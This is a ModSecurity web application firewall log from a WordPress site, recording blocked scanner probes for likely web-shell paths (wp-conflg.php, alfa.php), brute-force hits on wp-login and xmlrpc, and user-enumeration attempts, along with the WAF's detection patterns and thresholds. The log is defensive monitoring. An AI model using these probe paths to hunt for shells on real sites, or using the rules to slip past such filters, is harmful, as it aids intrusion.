[Thu May 07 15:27:35.917960 2026] [:error] [pid 28098:tid 28124] [client 98.159.43.135:43063] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/block/img/themes/"] [unique_id "afw-58vhwfljlt8trSqLGgAAAFg"]
[Thu May 07 15:27:36.117538 2026] [:error] [pid 28098:tid 28114] [client 98.159.43.114:21069] [client 98.159.43.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/preformatted/"] [unique_id "afw-6Mvhwfljlt8trSqLGwAAAE4"]
[Thu May 07 15:27:36.320103 2026] [:error] [pid 15715:tid 15722] [client 98.159.43.142:62391] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/themes/wp-load.php"] [unique_id "afw-6CY4dZsLOttMkcdfkQAAAQU"]
[Thu May 07 15:27:36.517007 2026] [:error] [pid 15715:tid 15721] [client 98.159.43.162:20479] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/home.php"] [unique_id "afw-6CY4dZsLOttMkcdfkgAAAQQ"]
[Thu May 07 15:27:36.714961 2026] [:error] [pid 28098:tid 28123] [client 98.159.43.140:43361] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/themes/"] [unique_id "afw-6Mvhwfljlt8trSqLHgAAAFc"]
[Thu May 07 15:27:36.911674 2026] [:error] [pid 15629:tid 15633] [client 98.159.43.110:42841] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/system_core.php"] [unique_id "afw-6PrIJCALdUrO43lYEAAAAAA"]
[Thu May 07 15:27:37.111816 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.106:42461] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/maintenance.php"] [unique_id "afw-6cvhwfljlt8trSqLHwAAAFU"]
[Thu May 07 15:27:37.313665 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.123:41871] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/edit-tags.php"] [unique_id "afw-6cvhwfljlt8trSqLIAAAAEw"]
[Thu May 07 15:27:37.511352 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.113:43917] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/w.php"] [unique_id "afw-6cvhwfljlt8trSqLIQAAAEA"]
[Thu May 07 15:27:37.708023 2026] [:error] [pid 15631:tid 15696] [client 98.159.43.116:20753] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-http-client.php"] [unique_id "afw-6XvP1GkPUuuLfqUNNQAAAMk"]
[Thu May 07 15:27:37.920453 2026] [:error] [pid 28098:tid 28116] [client 98.159.43.151:43949] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/class-wp-http-client.php"] [unique_id "afw-6cvhwfljlt8trSqLIgAAAFA"]
[Thu May 07 15:27:38.130894 2026] [:error] [pid 15630:tid 15664] [client 98.159.43.146:61373] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/tag-cloud/"] [unique_id "afw-6nTithRAi4821quP9wAAAIQ"]
[Thu May 07 15:27:38.328062 2026] [:error] [pid 15629:tid 15637] [client 98.159.43.112:46129] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/nic.php"] [unique_id "afw-6vrIJCALdUrO43lYEgAAAAQ"]
[Thu May 07 15:27:38.525846 2026] [:error] [pid 15715:tid 15738] [client 98.159.43.131:51825] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/wp-conflg.php"] [unique_id "afw-6iY4dZsLOttMkcdflAAAARI"]
[Thu May 07 15:27:38.724485 2026] [:error] [pid 28098:tid 28115] [client 98.159.43.112:31439] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/wp-conflg.php"] [unique_id "afw-6svhwfljlt8trSqLIwAAAE8"]
[Thu May 07 15:27:38.929778 2026] [:error] [pid 28098:tid 28109] [client 98.159.43.145:39857] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "afw-6svhwfljlt8trSqLJAAAAEk"]
[Thu May 07 15:27:39.127085 2026] [:error] [pid 28098:tid 28111] [client 98.159.43.161:32283] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/autoload_classmap.php"] [unique_id "afw-68vhwfljlt8trSqLJQAAAEs"]
[Thu May 07 15:27:39.398210 2026] [:error] [pid 28098:tid 28117] [client 98.159.43.150:41629] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "afw-68vhwfljlt8trSqLJgAAAFE"]
[Thu May 07 15:27:39.595206 2026] [:error] [pid 28098:tid 28107] [client 98.159.43.134:42499] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/themes/api.php"] [unique_id "afw-68vhwfljlt8trSqLJwAAAEc"]
[Thu May 07 15:27:39.792912 2026] [:error] [pid 28098:tid 28108] [client 98.159.43.117:28017] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/core.php"] [unique_id "afw-68vhwfljlt8trSqLKAAAAEg"]
[Thu May 07 15:27:39.990821 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.118:27371] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/components/wp-cron-activation.php"] [unique_id "afw-68vhwfljlt8trSqLKQAAAFU"]
[Thu May 07 15:27:40.189060 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.130:29515] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/block-library/includes/"] [unique_id "afw-7Mvhwfljlt8trSqLKgAAAEo"]
[Thu May 07 15:27:40.387442 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.121:63481] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/base-styles/user/"] [unique_id "afw-7Mvhwfljlt8trSqLLAAAAEw"]
[Thu May 07 15:27:40.586487 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.147:31337] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/abilities-api/Parse/"] [unique_id "afw-7Mvhwfljlt8trSqLLQAAAEA"]
[Thu May 07 15:27:40.786192 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.117:27263] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/html-api/"] [unique_id "afw-7Mvhwfljlt8trSqLLgAAAEM"]
[Thu May 07 15:30:51.711800 2026] [:error] [pid 28098:tid 28109] [client 209.141.55.159:62259] [client 209.141.55.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.55.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afw_q8vhwfljlt8trSqMEwAAAEk"]
[Thu May 07 15:32:03.673075 2026] [:error] [pid 15629:tid 15648] [client 209.141.55.159:65013] [client 209.141.55.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.55.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afw_8_rIJCALdUrO43lZKwAAAA8"]
[Thu May 07 16:02:49.502498 2026] [:error] [pid 15715:tid 15732] [client 34.132.41.18:56577] [client 34.132.41.18] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "afxHKSY4dZsLOttMkcdpNQAAAQw"]
[Thu May 07 16:02:50.523994 2026] [:error] [pid 15715:tid 15726] [client 34.132.41.18:56577] [client 34.132.41.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.41.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afxHKiY4dZsLOttMkcdpOwAAAQk"]
[Thu May 07 16:02:51.736767 2026] [:error] [pid 15715:tid 15722] [client 34.132.41.18:49754] [client 34.132.41.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.41.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afxHKyY4dZsLOttMkcdpPQAAAQU"]
[Thu May 07 17:15:54.081056 2026] [:error] [pid 15630:tid 15663] [client 198.98.57.91:55196] [client 198.98.57.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.57.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afxYSnTithRAi4821queyAAAAIM"]
[Thu May 07 17:19:50.452699 2026] [:error] [pid 28098:tid 28119] [client 198.98.57.91:57227] [client 198.98.57.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.57.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afxZNsvhwfljlt8trSqy-QAAAFM"]
[Thu May 07 17:33:25.865051 2026] [:error] [pid 28098:tid 28112] [client 43.155.195.141:47972] [client 43.155.195.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afxcZcvhwfljlt8trSq3CAAAAEw"]
[Thu May 07 18:04:11.347028 2026] [:error] [pid 15715:tid 15741] [client 43.130.3.120:36586] [client 43.130.3.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afxjmyY4dZsLOttMkceE8wAAARU"]
[Thu May 07 18:15:56.060002 2026] [:error] [pid 15715:tid 15730] [client 188.253.100.105:64555] [client 188.253.100.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.253.100.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afxmXCY4dZsLOttMkceILAAAAQo"]
[Thu May 07 18:16:06.145534 2026] [:error] [pid 15715:tid 15724] [client 188.253.100.105:64955] [client 188.253.100.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.253.100.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afxmZiY4dZsLOttMkceIOgAAAQc"]
[Thu May 07 18:16:16.628314 2026] [:error] [pid 28098:tid 28113] [client 188.253.100.105:65422] [client 188.253.100.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.253.100.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afxmcMvhwfljlt8trSrJDwAAAE0"]
[Thu May 07 18:16:27.163552 2026] [:error] [pid 15715:tid 15738] [client 188.253.100.105:49324] [client 188.253.100.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.253.100.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afxmeyY4dZsLOttMkceIaAAAARI"]
[Thu May 07 18:16:37.693631 2026] [:error] [pid 15631:tid 15709] [client 188.253.100.105:49615] [client 188.253.100.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.253.100.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afxmhXvP1GkPUuuLfqUrbQAAANY"]
[Thu May 07 20:31:38.130361 2026] [:error] [pid 15631:tid 15706] [client 175.27.171.245:53166] [client 175.27.171.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afyGKnvP1GkPUuuLfqU_twAAANM"]
[Thu May 07 22:24:27.957019 2026] [:error] [pid 15715:tid 15733] [client 43.157.142.101:38392] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afygmyY4dZsLOttMkcfE3gAAAQ0"]
[Thu May 07 22:58:44.144402 2026] [:error] [pid 15629:tid 15640] [client 119.28.89.249:54632] [client 119.28.89.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afyopPrIJCALdUrO43mQCQAAAAc"]
[Thu May 07 23:18:15.898549 2026] [:error] [pid 12323:tid 12343] [client 158.173.67.239:35041] [client 158.173.67.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/install.php"] [unique_id "afytN9dhHMnGFpc7MDw_oQAAAVA"]
[Thu May 07 23:23:06.944768 2026] [:error] [pid 15715:tid 15733] [client 94.156.199.39:49988] [client 94.156.199.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.156.199.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afyuWiY4dZsLOttMkcfVRgAAAQ0"]
[Thu May 07 23:25:52.841649 2026] [:error] [pid 15631:tid 15690] [client 94.156.199.39:52972] [client 94.156.199.39] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afyvAHvP1GkPUuuLfqVlBQAAAMM"]
[Thu May 07 23:26:21.618391 2026] [:error] [pid 15631:tid 15699] [client 94.156.199.39:53497] [client 94.156.199.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.156.199.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afyvHXvP1GkPUuuLfqVlKwAAAMw"]
[Thu May 07 23:46:47.284879 2026] [:error] [pid 15715:tid 15733] [client 104.131.50.136:44512] [client 104.131.50.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.131.50.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afyz5yY4dZsLOttMkcfb_QAAAQ0"]
[Thu May 07 23:47:19.940943 2026] [:error] [pid 15630:tid 15661] [client 139.59.93.237:33570] [client 139.59.93.237] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afy0B3TithRAi4821qvapAAAAIE"]
[Fri May 08 02:18:14.811378 2026] [:error] [pid 15715:tid 15723] [client 4.193.137.131:17429] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "afzXZiY4dZsLOttMkccHyQAAAQY"]
[Fri May 08 02:18:15.167535 2026] [:error] [pid 12374:tid 12385] [client 4.193.137.131:17560] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "afzXZxo3QnNcFDMfKt2KgwAAAYc"]
[Fri May 08 02:18:15.525543 2026] [:error] [pid 12374:tid 12381] [client 4.193.137.131:17537] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "afzXZxo3QnNcFDMfKt2KhAAAAYM"]
[Fri May 08 02:18:15.880936 2026] [:error] [pid 15715:tid 15736] [client 4.193.137.131:17547] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "afzXZyY4dZsLOttMkccHzQAAARA"]
